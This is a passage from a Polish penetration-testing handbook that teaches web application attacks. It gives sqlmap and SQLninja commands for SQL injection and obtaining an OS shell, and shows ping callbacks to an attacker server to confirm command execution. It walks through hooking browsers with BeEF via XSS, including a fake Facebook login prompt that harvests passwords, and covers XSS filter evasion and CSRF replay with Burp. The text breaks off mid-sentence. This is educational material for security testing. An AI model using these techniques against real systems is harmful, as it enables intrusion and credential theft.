Nawet w przypadku MS08-067 kod wykorzystujący lukę zależy od systemu operacyjnego lub dodatku z łatkami. Na szczęście odpowiedni ładunek stara się wykryć właściwą wersję systemu przed wykonaniem ataku. Wiele skryptów nie bierze tego pod uwagę i zostało napisanych jedynie dla jednej konkretnej wersji systemu. Z tego powodu bardzo często spotyka się w kodzie informację na temat systemu, na którym został przetestowany. Nawet identyczny system operacyjny nie gwarantuje sukcesu, ponieważ choćby język systemu może spowodować brak dostępu lub, co gorsza, zawieszenie systemu. Przedstawiony na rysunku 3.4 opis kodu wykorzystujący lukę przepełnienia bufora w PCMAN FTP został przetestowany tylko na francuskiej wersji Windows 7 SP1. Nie gwarantuję, że zadziała w wersji angielskiej lub polskiej. Z tego powodu zalecam pełne zrozumienie i przetestowanie wszystkich skryptów przed ich użyciem w systemie produkcyjnym. Nie należy bać się modyfikować skryptu w razie potrzeby. 55

PODRĘCZNIK PENTESTERA

Rysunek 3.4. Opis skryptu wykorzystującego lukę w serwerze FTP2

PODSUMOWANIE W tym rozdziale zaprezentowałem podstawowe informacje na temat wykorzystania wyników pozyskanych ze skanerów do uzyskaniu wstępnej kontroli nad systemem. Przedstawione przykłady pomogą w zdobyciu pełnego dostępu do systemu, o czym będzie mowa w następnych rozdziałach. Ataki i skrypty je realizujące nie zawsze działają, więc nie należy przywiązywać się do jednego narzędzia. Zdecydowanie ważniejsze jest zrozumienie, dlaczego atak zadziałał i co jest esencją luki, ponieważ pozwala to poprawić skrypt i wykorzystać go do ponowienia próby ataku. Tym, co pomogło mi zrozumieć działanie skryptów stosujących luki lub błędy, było przepisanie skryptów dostępnych pod adresem http://www.exploit-db.com/remote/ w innym języku skryptowym wysokiego poziomu. Tworzenie skryptów i wykorzystywanie ich do uzyskania dostępu do własnych serwerów daje bardzo dobrą wiedzę bazową. Osobom zainteresowanym tworzeniem własnych skryptów od podstaw polecam książkę The Shellcoder s Handbook. Discovering and Exploiting Security Holes (http://amzn.to/19ZlgfE).

2

http://www.exploit-db.com/exploits/27277/ 56

Rozdział 4.

RZUT — SAMODZIELNE ZNAJDOWANIE LUK W APLIKACJACH WEBOWYCH Znamy już teraz nasze cele i ich potencjalne słabości. Czas wykorzystać słabe punkty aplikacji webowych. W tym rozdziale skupię się na tym, w jaki sposób skanowanie aplikacji webowych i wykonywanie ręcznych testów można przekuć na uzyskanie dostępu do systemu.

TESTY PENETRACYJNE APLIKACJI WEBOWYCH W tym rozdziale zajmiemy się zagadnieniem testowania aplikacji webowych pod kątem typowych elementów, takich jak: wstrzykiwanie SQL (SQLi), wykonywanie skryptów między witrynami (XSS), podkradanie żądania (CSRF), entropia tokenów sesyjnych, sprawdzanie rozmytych danych wejściowych oraz logika biznesowa. Choć nie są to wszystkie testy możliwe do przeprowadzenia, to bardzo często pozwalają zdobyć dodatkowe informacje umożliwiające uzyskanie dostępu do bazy użytkowników lub systemu. Pozwalają również na zapoznanie się z podstawami, co ułatwia realizację bardziej wyrafinowanych ataków. Bardziej szczegółowy opis zbioru narzędzi wykorzystywanych do testów aplikacyjnych (w odróżnieniu od testów na poziomie sieci) znajduje się na stronie OWASP (http://bit.ly/ 19GkG5R) i w książce The Web Application Hacker’s Handbook 2. Finding and Exploiting Security Flaws (http://amzn.to/1lxZaCv).

WSTRZYKIWANIE KODU SQL Po sprawdzeniu wyników skanowania lub po krótkiej analizie witryny można zidentyfikować kilka słabych punktów związanych z wstrzykiwaniem kodu SQL. Tego rodzaju luki są z punktu widzenia testera doskonałym źródłem danych, ponieważ czasem umożliwiają uzyskanie dostępu do całej bazy danych. Dwoma bezpłatnymi narzędziami, które

PODRĘCZNIK PENTESTERA

działają w większości sytuacji, są SQLmap i SQLninja. Przejdźmy przez cały proces — od identyfikacji do wykorzystania luki. Wykryta w efekcie skanowania podatność na wstrzykiwanie kodu SQL pojawi się w narzędziu Burp Suite na odpowiedniej karcie jako informacja o polach i adresie do sprawdzenia (rysunek 4.1).

Rysunek 4.1. Znaleziona przez Burp Suite luka dotycząca wstrzykiwania kodu SQL

Jedną z zalet użycia narzędzia Burp Suite jest informacja o prawdopodobieństwie praktycznego wykorzystania luki. W tym przypadku (patrz rysunek 4.1) Burp Suite informuje, że luka jest pewna (Certain), a podatnymi parametrami są pola z hasłem i nazwą użytkownika oraz nagłówek User-Agent.

SQLmap SQLmap (http://sqlmap.org/; Kali Linux) to moje ulubione narzędzie do znajdowania możliwych wstrzyknięć SQL, modyfikowania zapytań bazy danych i tworzenia ich zrzutów. Posiada również dodatkową funkcjonalność pozwalającą korzystać z interaktywnej powłoki w trakcie wstrzykiwania. Potrafi też utworzyć sesję Meterpretera lub VNC dotyczącą systemu przeprowadzającego atak. 58

ROZDZIAŁ 4. RZUT — SAMODZIELNE ZNAJDOWANIE LUK W APLIKACJACH WEBOWYCH

Przedstawię dwa przykłady: w pierwszym użyty zostanie parametr GET, a w drugim — parametr POST. To najczęściej stosowane rodzaje wstrzykiwania kodu SQL. Ze względu na to, iż niewłaściwa konfiguracja spowoduje niepowodzenie ataku, warto w szczegółach poznać opcje dotyczące obu metod HTTP. Zrzut ekranu z rysunku 4.2 przedstawia pomoc programu SQLmap, składającą się z ogromnej liczby przełączników. Do wyświetlenia pomocy służy polecenie sqlmap -h.

Rysunek 4.2. Pomoc programu SQLmap

Przykład z parametrem GET W tym przykładzie założymy, że luka dotycząca wstrzykiwania kodu SQL znajduje się w parametrze GET adresu URL. Chcemy sprawdzić każdy parametr i upewnić się, że to jest rzeczywiście luka. Często zdarza się, że skaner wykrywa potencjalną lukę, która w rzeczywistości okazuje się ślepym zaułkiem. Samodzielne sprawdzenie jest jedynym sposobem na to, aby upewnić się, że istotnie mamy do czynienia z luką. Pamiętaj, że brak wskazania wartości do sprawdzenia spowoduje, że SQLmap sprawdzi każdy parametr. Sprawdzenie, czy wstrzyknięcie SQL jest odpowiednie (jeśli tak, wynikiem będzie baner): sqlmap -u "http://witryna.pl/info.php?user=test&pass=test" -b

59

PODRĘCZNIK PENTESTERA

Pobranie nazwy użytkownika bazy danych: sqlmap -u "http://witryna.pl/info.php?user=test&pass=test" --current-user

Interaktywna powłoka: sqlmap -u "http://witryna.pl/info.php?user=test&pass=test" --os-shell

Sztuczki i podpowiedzi:  Można wskazać, który typ bazy danych należy atakować. Jeśli wydaje się, że wstrzyknięcie powinno być możliwe, lecz SQLmap ma problemy z udanym atakiem, spróbuj użyć parametru --dbms=[typ bazy danych].  Jeśli test wymaga wcześniejszego uwierzytelnienia się jako użytkownik serwisu, zaloguj się w witrynie za pomocą przeglądarki i pobierz cookie (na przykład za pomocą Burp Suite). Następnie użyj parametru --data=[cookie].  W przypadku zagubienia się w gąszczu opcji użyj polecenia sqlmap --wizard.

Przykład z parametrem POST Przykłady dotyczące metody POST są podobne do wersji GET poza elementem dotyczącym sposobu przekazywania danych. Zamiast przekazywać dane w adresie URL, umieszcza się je w części dotyczącej ładunku POST. Z rozwiązania tego korzysta się bardzo często w przypadku przekazywania nazwy użytkownika oraz hasła, ponieważ serwery WWW zazwyczaj zapamiętują dane przekazane za pomocą parametru GET w swoich dziennikach zdarzeń. Co więcej, parametry GET mają ograniczoną długość, więc wszystkie dłuższe dane trzeba i tak przekazywać, stosując metodę POST. Sprawdzenie, czy wstrzyknięcie SQL jest odpowiednie (jeśli tak, wynikiem będzie baner): sqlmap -u "http://witryna.pl/info.php" --data="user=test&pass=test" -b

Pobranie nazwy użytkownika bazy danych: sqlmap -u "http://witryna.pl/info.php" --data="user=test&pass=test" --current-user

Interaktywna powłoka: sqlmap -u "http://witryna.pl/info.php" --data="user=test&pass=test" --os-shell

Jeśli będzie możliwe uzyskanie dostępu na poziomie powłoki, tak naprawdę będziemy posiadali dokładnie taki sam dostęp do bazy jak użytkownik, z którego danych korzystał kod łączący się z bazą. W poniższym przykładzie udało mi się znaleźć lukę, uzyskać dostęp do atakowanego systemu i uruchomić polecenie ipconfig (rysunek 4.3). Sugeruję poświęcenie dodatkowego czasu na przećwiczenie różnych poleceń SQLi i opcji znalezionych w pomocy narzędzia. Jeśli SQLmap nie uda się zdobyć dostępu do systemu, możliwy jest błąd w konfiguracji. W razie potrzeby skorzystaj z kreatora.

60

ROZDZIAŁ 4. RZUT — SAMODZIELNE ZNAJDOWANIE LUK W APLIKACJACH WEBOWYCH

Rysunek 4.3. Powłoka poleceń SQLmap

SQLninja SQLninja (http://sqlninja.sourceforge.net/; Kali Linux) to kolejne doskonałe narzędzie do przesyłania powłok i zdalnego uruchamiania poleceń. Zastanawiasz się zapewne, dlaczego korzystam ze SQLninja, skoro kilka stron wcześniej przyznałem się do komfortowego korzystania ze SQLmap? Kilka lat doświadczenia pozwoliło mi stwierdzić, że wiele testów identyfikuje wstrzykiwanie kodu SQL tylko w jednym z narzędzi. Może wynika to ze sposobu, w jaki identyfikuję słaby punkt dotyczący kodu SQL, może ma na to wpływ sposób przesyłania plików binarnych lub sygnatury IPS albo obsługa plików cookie. Możliwych powodów niepowodzenia jest naprawdę wiele, warto więc wyniki osiągnięte w jednym narzędziu sprawdzić również w drugim narzędziu. Wywołanie narzędzia SQLninja z użyciem parametru -h powoduje wyświetlenie wszystkich opcji dostępnych w programie (rysunek 4.4). SQLninja ma tę wadę, że pliki konfiguracyjne są trudniejsze w przygotowaniu. Nigdy też nie udało mi się znaleźć przyjaznej dokumentacji. Z tego względu przedstawię sposób realizacji tych samych dwóch przykładów, co w wypadku narzędzia SQLmap. W narzędziu SQLninja zmienną, która ma związek z potencjalną luką, należy wstrzyknąć za pomocą polecenia __SQL2INJECT__. To zachowanie inne niż w narzędziu SQLmap, w którym to nie musieliśmy wskazywać pola do przeprowadzenia testu. Prześledźmy kilka przykładów, by lepiej zrozumieć sposób korzystania z aplikacji. Na początku musimy zdefiniować plik konfiguracyjny SQL. Będzie on zawierał wszystkie niezbędne informacje: adres URL, metodę HTTP, cookie sesji i nagłówek agenta użytkownika. 61

PODRĘCZNIK PENTESTERA

Rysunek 4.4. Pomoc narzędzia SQLninja

Poniżej przedstawię najprostszy sposób uzyskania informacji niezbędnych dla narzędzia SQLninja. Uruchom program Burp Suite, włącz przechwytywanie żądań i wykonaj żądanie zawierające pole podatne na atak. W przedstawionym poniżej przykładzie będziemy przechwytywać żądanie wysłane pod adresem /wfLogin.aspx, korzystające z parametrów POST. W ten sposób uzyskamy większość danych niezbędnych dla SQLninja. Konieczne będą jedynie drobne modyfikacje wartości pobranych z surowego żądania przedstawianego w narzędziu Burp Suite. Przyjrzyjmy się dokładniej jednemu z żądań, które narzędzie Burp Suite wskazało jako potencjalne źródło luki SQLi (rysunek 4.5).

Rysunek 4.5. Przykładowe żądanie narzędzia Burp Suite

Następne dwa przykłady pozwolą uzmysłowić sobie, w jaki sposób tworzona jest większość parametrów POST i GET. Choć tak naprawdę można stosować dowolne polecenia HTTP, to w zdecydowanej większości przypadków używa się tylko metod GET i POST. 62

ROZDZIAŁ 4. RZUT — SAMODZIELNE ZNAJDOWANIE LUK W APLIKACJACH WEBOWYCH

Oto kilka spraw, na które warto zwrócić uwagę, ponieważ występują różnice w żądaniach Burp Suite i pliku konfiguracyjnym SQLninja:  Metoda HTTP (POST lub GET) musi zostać uzupełniona o pełny adres URL. Burp Suite nie podaje części http://witryna.pl przed /wfLogin.aspx.  Trzeba wskazać parametry do sprawdzenia, dodając tekst __SQL2INJECT__.  W przypadku SQLninja warto czasem zaatakować system wskutek wcześniejszego zamknięcia podatnego parametru. Może to być znak cudzysłowu, przecinek itp.

Przykład parametru GET Utworzymy na pulpicie systemu Kali Linux plik konfiguracyjny sql_get.conf zawierający dwa potencjalnie dziurawe parametry. Narzędzie SQLninja będzie starało się zaatakować parametry user i pass, by sprawdzić, czy są podatne na wstrzykiwanie kodu SQL. Aby utworzyć lub zmodyfikować plik konfiguracyjny, wykonaj poniższe polecenia: gedit ~/Desktop/sql_get.conf

Umieść w pliku poniższą treść i zapisz go: --httprequest_start-GET http://witryna.pl/wfLogin.aspx?user=test';__SQL2INJECT__&pass=test';__ SQL2INJECT__ HTTP/1.0 Host: witryna.pl User-Agent: Mozilla/5.0 (X11; U; en-US; rv:1.7.13) Gecko/20060418 Firefox/1.0.8 Accept: text/xml, application/xml, text/html; q=0.9, text/plain; q=0.8, image/png,*/* Accept-Language: en-us, en; q=0.7, it;q=0.3 Accept-Charset: ISO-8859-15, utf-8; q=0.7,*;q=0.7 Content-Type: application/x-www-form-urlencoded Cookie: ASPSESSIONID=3dkDjb3jasfwefJGd Connection: close --httprequest_end--

Przykład parametru POST Żądanie typu POST różni się od żądania typu GET tym, że parametry przekazywane są w części dotyczącej danych, a nie w części dotyczącej adresu URL. Trzeba zmodyfikować plik konfiguracyjny i sposób wstrzykiwania parametrów. W przedstawionym przykładzie wstrzykiwanie ponownie będzie dotyczyło parametrów user i pass: gedit ~/Desktop/sql_get.conf

Umieść w pliku poniższą treść i zapisz go: --httprequest_start-POST http://witryna.pl/wflogin.aspx HTTP/1.0 Host: witryna.pl User-Agent: Mozilla/5.0 (X11; U; en-US; rv:1.7.13) Gecko/20060418 Firefox/1.0.8 Accept: text/xml, application/xml, text/html; q=0.9, text/plain; q=0.8, image/png, */* Accept-Language: en-us, en; q=0.7, it;q=0.3 63

PODRĘCZNIK PENTESTERA

Accept-Charset: ISO-8859-15, utf-8; q=0.7,*;q=0.7 Content-Type: application/x-www-form-urlencoded Cookie: ASPSESSIONID=3dkDjb3jasfwefJGd Connection: close username=test';__SQL2INJECT__&password=test';__SQL2INJECT__ --httprequest_end--

Uruchamianie SQLninja Niezależnie od stosowanej metody HTTP (GET lub POST) sposób użycia narzędzia SQLninja jest w zasadzie taki sam. Po utworzeniu pliku konfiguracyjnego uruchomienie tego narzędzia nie jest trudne i sprowadza się do polecenia: sqlninja -mt -f sql_get.conf

Polecenie powoduje uruchomienie SQLninja w trybie testu, co pozwala sprawdzić, czy wstrzykiwanie działa z utworzonym wcześniej plikiem konfiguracyjnym. Jeśli mamy szczęście i znajdziemy właściwe wstrzyknięcie kodu SQL, możemy rozpocząć atakowanie bazy danych. W prezentowanym przykładzie (rysunek 4.6) znajdujemy lukę i dostajemy się do bazy danych, sprawdzamy jej wersję, jak również to, czy mamy dostęp do konta typu „sa” (ang. system administrator), czyli konta o prawach administratora, oraz czy mamy dostęp do powłoki.

Rysunek 4.6. Przykład działania narzędzia SQLninja

Jeśli dostępny jest xp_cmdshell, warto sprawdzić, czy uda się uzyskać dostęp do wiersza poleceń, i jaki poziom uprawnień będziemy wówczas mieli. W dalszej części przykładu wykorzystamy lukę w postaci wstrzykiwania kodu SQL i sprawdzimy dostępne polecenia. 64

ROZDZIAŁ 4. RZUT — SAMODZIELNE ZNAJDOWANIE LUK W APLIKACJACH WEBOWYCH

W trakcie testu (patrz rysunek 4.6) wydaje się, że powinniśmy mieć szansę na wykonanie po stronie serwera dodatkowych poleceń. Musimy to sprawdzić. Jednakże pojawia się pewien problem — po ustanowieniu nasłuchiwania na swoim serwerze dostępnym z poziomu internetu nie obserwujemy żadnego połączenia z serwera podatnego na atak. Tego rodzaju sytuacja jest mało komfortowa, gdy chcemy przesłać dane na swoje serwery lub wymusić pobranie dodatkowych plików ułatwiających atak. Ponieważ konsola zapewniana przez SQLninja nie wyświetla odpowiedzi na realizowane polecenia, musimy w jakiś sposób sprawdzić, czy polecenia rzeczywiście się wywołują. Najlepszym sposobem sprawdzenia, czy polecenia działają, jest uruchomienie polecenia nasłuchiwania pingów przychodzących do serwera posiadanego przez nas i publicznie dostępnego w internecie. Po uruchomieniu polecenia ping na atakowanym serwerze możemy łatwo sprawdzić, czy polecenie działa prawidłowo. Wybieramy polecenie ping, gdyż wychodzący ruch ICMP najczęściej nie jest blokowany i w wielu sytuacjach nie wzbudzi podejrzeń. Nasłuchiwanie pingów uruchamiamy na serwerze należącym do atakującego za pomocą poniższego polecenia: tcpdump -nnvXSs 0 -c2 icmp

Polecenie zapisze w dzienniku zdarzeń wszystkie pingi wysłane do mojego serwera, co pozwoli szybko przekonać się, czy atakowany serwer może wykonywać połączenia zewnętrzne i polecenia. Na serwerze atakowanym przy użyciu polecenia SQL wykonuję zwykłe polecenie ping, wskazując jako cel swój serwer. Jeśli wszystko zadziała prawidłowo, zobaczę na swoim serwerze żądanie ICMP. Ataki związane ze wstrzykiwaniem kodu SQL, używające wiersza poleceń, można uruchomić następującym poleceniem: sqlninja -f [plik_konfiguracyjny] -m c

Jak można się przekonać, analizując rysunek 4.7, najpierw próbowałem wykonać polecenie telnet, aby połączyć się ze swoim serwerem. Operacja jednak się nie powiodła. Z tego powodu w drugim podejściu starałem się zainicjować połączenie ping ze swoim serwerem, podczas gdy tcpdump nasłuchiwało. W tym przypadku realizacja polecenia powiodła się, co pozwoliło mi uzyskać pewność, iż mogę wykonać na atakowanym serwerze dowolne polecenie, choć nie ma on możliwości ustanawiania połączeń na zewnątrz. Rysunek 4.7 w górnej części przedstawia mój serwer wyświetlający w dzienniku informacje o pingach, a w dolnej części — atakowany serwer realizujący przekazane mu polecenia. Choć polecenie telnet nie zadziałało, udało się wykonać polecenie ping. Jeśli doszedłeś do tego miejsca i nie wiesz, co zrobić dalej, przejdź od razu do następnego rozdziału. Przedstawiony opis powinien wystarczyć do rozpoczęcia własnych testów i lepszego poznania frameworków. Oczywiście zaprezentowane sytuacje są jednymi z najbardziej idealnych, ponieważ nie trzeba było w trakcie wstrzykiwania kodu SQL podawać 65

PODRĘCZNIK PENTESTERA

Rysunek 4.7. Wstrzyknięcie kodu SQL umożliwiające wykonanie polecenia ping

szczegółowych danych na temat bazy danych, konkretnego rodzaju wstrzyknięcia ani informacji o odstępach czasowych między testami.

WYKONYWANIE SKRYPTÓW MIĘDZY WITRYNAMI (XSS) Oczywiście dyskusja na temat luk w aplikacjach webowych nie może odbyć się bez opisu ataków typu XSS (ang. Cross-Site Scripting). To prawdopodobnie jedna z najczęstszych luk, z którymi mam do czynienia. Atak typu XSS dotoczy sytuacji, w których brakuje w aplikacji właściwej walidacji danych wejściowych. Istnieją dwa rodzaje ataków XSS — odbijający i zapisywalny, który umożliwia atakującym zapisanie kodu skryptu w przeglądarce użytkownika. Skupię się na wersji odbijającej, ponieważ występuje częściej, a w dużej mierze sposób wykorzystania luki jest taki sam w obu rodzajach ataków.

Framework wykorzystania luk BeEF (Kali Linux) Klienci bardzo często zadają mi pytanie: „jak dużą szkodę może spowodować luka XSS?”. Pamiętajmy, że luka umożliwia użycie dowolnego kodu w postaci skryptu JavaScript i uruchomienie go w przeglądarce użytkownika, więc w zasadzie może zrealizować dokładnie te same zadania, co standardowy kod JavaScript strony WWW. Najlepszym znanym mi narzędziem służącym do przeprowadzania różnorakich ataków XSS jest framework BeEF (http://beefproject.com/). Jeśli uda się znaleźć lukę XSS, można 66

ROZDZIAŁ 4. RZUT — SAMODZIELNE ZNAJDOWANIE LUK W APLIKACJACH WEBOWYCH

nie tylko zmusić ofiarę do stania się częścią pseudobotnetu, ale również ukraść zawartość pamięci, przekierować na specjalnie spreparowaną stronę, włączyć kamerę i wiele więcej. Jeśli uda się zidentyfikować lukę XSS na konkretnej stronie, trzeba odpowiednio przygotować framework BeEF. W przedstawianych przykładach wykorzystamy lukę XSS znalezioną przez narzędzie Burp Suite. Adresem zawierającym potencjalną lukę był: http://www.securepla.net/xss_example/example.php?alert=test'.

W rozdziale 1. zainstalowaliśmy BeEF w folderze /usr/share/beef-xss. Pierwszy krok to uruchomienie usługi BeEF. Wykonaj następujące polecenia, by uruchomić BeEF: cd /usr/share/beef-xss ./beef

Po uruchomieniu systemu BeEF zaloguj się do konsoli graficznej. Jak można zauważyć na rysunku 4.8, konsola graficzna dostępna jest pod adresem http://127.0.0.1:3000/ui/ authentication. Otwórz przeglądarkę i przejdź pod wskazany adres (rysunek 4.9).

Rysunek 4.8. Uruchomiony framework BeEF

Rysunek 4.9. System logowania BeEF 67

PODRĘCZNIK PENTESTERA

Jeśli cały system uruchomił się bez przeszkód, logowanie do konsoli wymaga podania jako nazwy użytkownika tekstu beef i jako hasła — także tekstu beef. Na rysunku 4.8 pojawił się nie tylko adres strony z interfejsem, ale również adres strony łączącej (Hook URL). Przyjrzyjmy się plikowi hook.js (rysunek 4.10).

Rysunek 4.10. Kod JavaScript frameworka BeEF

Choć przedstawiony kod JavaScript został mocno zaciemniony po to, aby utrudnić jego analizę, tak naprawdę spowoduje uzyskanie kontroli nad ofiarą przez wstrzyknięcie kodu na stronie wyświetlanej przez tę właśnie ofiarę. Po wstrzyknięciu kodu przeglądarka internetowa ofiary połączy się z centralnym serwerem, a sama ofiara nie będzie tego świadoma. Po wykryciu luki XSS na stronie można użyć frameworka BeEF, aby ułatwić uzyskanie dostępu do komputera ofiary. W przedstawionym przykładzie w adresie http://securepla. net/xss_example/example.php?alert= zmienna alert przyjmuje dane, które zostaną wyświetlone w przeglądarce ofiary. Można ręcznie dodać własny kod JavaScript i przesłać łącze niespodziewającemu się niczego użytkownikowi. W przedstawionym poniżej przykładzie używam prostego kodu JavaScript, aby wyświetlić wszystkie pliki cookie użytkownika, związane z witryną:

Zrzut z rysunku 4.11 potwierdza, że użytkownik końcowy wykona kod JavaScript przesłany w zapytaniu. W celu utworzenia ataku wykorzystującego lukę zamienimy kod wyświetlający plik cookie na wczytanie skryptu hook.js. Pełny adres będzie miał postać: http://securepla.net/xss_example/example.php?alert=asda. Skrypt hook.js z kodem ataku wczytuje się w przeglądar-

ce ofiary przy użyciu następującego fragmentu:

68

ROZDZIAŁ 4. RZUT — SAMODZIELNE ZNAJDOWANIE LUK W APLIKACJACH WEBOWYCH

Rysunek 4.11. Przykładowa luka XSS

Pamiętaj, że testowanie przedstawionego ataku na publicznej witrynie wymaga zastosowania publicznie dostępnego adresu URL oraz aktywnie działającej usługi serwującej plik hook.js. Gdy uda się skłonić ofiarę do przejścia pod wskazany adres za pomocą technik inżynierii społecznej (patrz rozdział 6.), stanie się ona częścią sieci zombie. Po przejściu do panelu graficznego zauważymy, że ofiara połączyła się z serwerem sterującym (rysunek 4.12).

Rysunek 4.12. Atak za pomocą klienta BeEF

69

PODRĘCZNIK PENTESTERA

Po połączeniu się klienta można skorzystać z wielu różnych modułów BeEF zapewniających łatwy atak. Jak pokazuje rysunek 4.12, możemy spróbować wykraść zapisane dane dostępowe, pobrać dane o adresie IP, sprawdzić inne komputery dostępne w sieci ofiary itp. Jeden z moich ulubionych ataków nosi nazwę „mała kradzież”, gdyż jest tak łatwy w realizacji. Przejdź do gałęzi Social Engineering i znajdź element Pretty Theft. Skonfiguruj go zgodnie ze swoimi preferencjami (w przedstawionym przykładzie zastosujemy podszywanie się pod stronę Facebooka; rysunek 4.13) i zleć wykonanie ataku. Pamiętaj, że adres IP własnego logo powinien dotyczyć adresu IP serwera BeEF. Tylko w ten sposób ofiara będzie mogła pobrać obraz z naszego serwera.

Rysunek 4.13. Atak Pretty Theft w wersji dla Facebooka

Po kliknięciu przycisku rozpoczęcia ataku w systemie ofiary pojawi się okienko zawierające prośbę o podanie hasła do portalu Facebook (rysunek 4.14). To miejsce, w którym można być reaktywnym i zastosować okno mające największą szansę na wypełnienie przez docelowego użytkownika. Jeśli atak skierowany jest przeciwko użytkownikom usług Google, zastosuj moduł phishingowy Google. Tego rodzaju atak może być skuteczny, ponieważ ofiara nie jest świadoma tego, że stanowi część sieci zombie, i zapytanie o hasło nie wzbudza w niej dużych podejrzeń. Gdy tylko niespodziewająca się niczego ofiara wpisze hasło, przejdź do interfejsu administracyjnego i pobierz przesłane dane. Kliknij element o identyfikatorze 0, aby dowiedzieć się, co wpisała ofiara (rysunek 4.15). Przedstawione dane powinny wystarczyć do uzyskania częściowego dostępu do profilu użytkownika, a tym samym — łatwiejszego dostępu do atakowanego systemu. 70

ROZDZIAŁ 4. RZUT — SAMODZIELNE ZNAJDOWANIE LUK W APLIKACJACH WEBOWYCH

Rysunek 4.14. Atak Pretty Theft

Rysunek 4.15. Wyniki ataku Pretty Theft

Mam nadzieję, że udało mi się pokazać, jak przydatna potrafi być luka XSS. Przedstawiony przykład dotyczy wersji odbijającej — wersja zapisywalna XSS jest wielokrotnie bardziej inwazyjna. W wersji zapisywalnej tak naprawdę nie musimy zmuszać użytkownika podstępem do odwiedzenia strony o spreparowanym adresie — po prostu czekamy, aż nasz kod zostanie wykonany. 71

PODRĘCZNIK PENTESTERA

Zaciemnianie ataku XSS Często spotykam się z sytuacją, w której witryna stosuje pewnego rodzaju walidację danych wejściowych dla pól podatnych na atak XSS. Oznacza to, że atak XSS nadal może się udać, ale nie można skorzystać ze wszystkich znaków, które standardowo miałoby się do dyspozycji. Ciekawą kwestią jest to, iż większość testów dotyczących filtracji danych wejściowych nie jest właściwie skonfigurowana. Skrypty walidujące mają wadę wynikającą z tego, że istnieje wiele różnych sposobów zapisania danych ataku XSS, stąd często zawodzą w kwestii ich wykrycia. W zasadzie można by napisać całą książkę na temat przygotowywania ataków XSS, ale przedstawione tutaj rozwiązania dotyczące enkoderów są szybkie w realizacji i w wielu sytuacjach sprawdzają się.

Społecznościowe źródła danych o podatnych witrynach Jednym z moich ulubionych sposobów znalezienia dużej liczby poprawnych luk XSS jest odwiedzenie strony http://www.reddit.com/r/xss. Różne osoby informują tam o znalezionych przez siebie lukach XSS. Aby ułatwić sobie obróbkę udostępnianych danych, napisałem w języku Python mały skrypt, który pobiera i przetwarza adresy URL przesłane do witryny Reddit. Skrypt można pobrać pod adresem https://www.securepla.net/script-alert reddit-script/. Wynik jego działania będzie podobny do przedstawionego na rysunku 4.16.

Rysunek 4.16. Strony WWW podatne na atak XSS uzyskane dzięki społeczności internautów 72

ROZDZIAŁ 4. RZUT — SAMODZIELNE ZNAJDOWANIE LUK W APLIKACJACH WEBOWYCH

Jak można zauważyć, ludzie próbują zaciemnić atak XSS — stosują zamianę na kody znaków, używają kodowania ze znakiem procentu, znaków specjalnych HTML lub innych technik języka JavaScript. Przedstawiona lista to doskonałe miejsce do znalezienia przykładów luk XSS (wiele z nich jest nadal niewypełnionych) i sposobów kodowania. Dodatkowa uwaga: nie polecam odwiedzenia podatnej strony z rzeczywistym ładunkiem XSS, bo można zostać uznanym za osobę atakującą witrynę. Moim zadaniem jest przedstawienie listy przykładów, które pomogą w przeprowadzeniu udanego ataku podczas wykonywania testów penetracyjnych.

Ściągawka OWASP Inną listą, którą mogę z czystym sumieniem polecić, jest ściągawka OWASP (ang. Open Web Application Security Project). Za każdym razem, gdy natrafię na problemy z kodowaniem, zaglądam do wspomnianej ściągawki. Jest dostępna pod adresem https://www. owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet. Najczęstsze zabezpieczenia przed XSS, z którymi się spotykam, dotyczą ograniczonej liczby znaków lub wykrywania symboli < i >. Na szczęście OWASP zawiera wiele przykładów pozwalających ominąć te proste testy.

ATAK CSRF Atak CSRF (ang. Cross-Site Request Forgery) występuje wtedy, gdy wymusza się po stronie klienta wykonanie akcji, której ten w ogóle nie planował. Typowym przykładem może być przesłanie komuś, kto jest obecnie zalogowany na stronie banku, specjalnego łącza. Gdy tylko ofiara ataku otworzy łącze, kod zawarty na docelowej stronie spowoduje przetransferowanie pieniędzy z jej konta na inne konto. Oczywiście w przedstawionej sytuacji założono, że bank nie stosuje żadnej dodatkowej weryfikacji przed procesem rzeczywistego transferu pieniędzy. Przez transfer pieniędzy rozumiem sytuację, w której użytkownik musi się zalogować, przejść na stronę przelewu, wybrać odbiorcę lub wpisać numer konta, a następnie przesłać pieniądze. We właściwie przygotowanej witrynie banku każda wygenerowana strona stosuje token CSRF, a kod po stronie serwera sprawdza, czy po przejściu użytkownika na nową stronę tokeny są takie same jak na poprzedniej stronie. Przypomina to trochę śledzenie całej sesji — jeśli pojawi się luka lub inna podejrzana akcja, nie jest ona po prostu wykonywana. Istnieje wiele złożonych sposobów sprawdzania istnienia przedstawionej luki, ale najczęściej przeprowadzam testy za pomocą serwera proxy i przyglądam się ruchowi między klientem a serwerem. Staram się wykonać interesującą mnie transakcję, a następnie sprawdzam, czy uda mi się ją powtórzyć.

73

PODRĘCZNIK PENTESTERA

Użycie Burp Suite do ataku CSRF bazującego na powtórzeniu żądania Prześledźmy działanie aplikacji bankowej, która umożliwia przelanie pieniędzy z konta jednego użytkownika na konto drugiego użytkownika. Przedstawiony poniżej przykład zawiera w adresie URL dwa parametry. Pierwszy (User) wskazuje użytkownika, który ma otrzymać przelew, a drugi (Dollar) określa kwotę przelewu. We wspomnianym przykładzie udało nam się przelać pieniądze na konto Franka. Co by się stało, gdybym przesłał ten sam adres URL innej osobie, która jest zalogowana w aplikacji tego samego banku? Jeśli zabraknie ochrony przed atakiem CSRF, nieświadomie przeleje ona 123,44 dol. na konto Franka (rysunek 4.17).

Rysunek 4.17. Przykład ataku CSRF

Aby sprawdzić, czy tego rodzaju atak jest możliwy, przechwyćmy żądanie za pomocą narzędzia Burp Suite. Upewnij się, czy przeglądarka nadal używa Burp Suite jako serwera proxy. Jeśli tak, wykonaj żądanie, korzystając z danych sesyjnych użytkownika oznaczonego numerem 1. Wszystko powinno zadziałać prawidłowo, ponieważ dokonujemy transferu właściwymi kanałami. Zalogowałeś się, przeszedłeś na stronę przelewu, wypełniłeś formularz i zleciłeś przelew. Po wykonaniu zadania przejdź w Burp Suite na kartę Proxy, a następnie — na kartę History. Na samym dole powinno widnieć żądanie przelewu. Zauważ, że przesłane zostało cookie sesji, nic jednak nie przypomina tokena CSRF (rysunek 4.18). Aby przekonać się, czy witryna jest podatna na atak, wystarczy tak naprawdę powtórzyć żądanie przelewu. Stosuję tę metodę, gdyż pozwala bardzo szybko przekonać się, czy powtórzenie żądania jest dopuszczalne bez uciekania się do bardziej wyrafinowanych akcji. Kliknij prawym przyciskiem myszy dowolny fragment karty Raw i 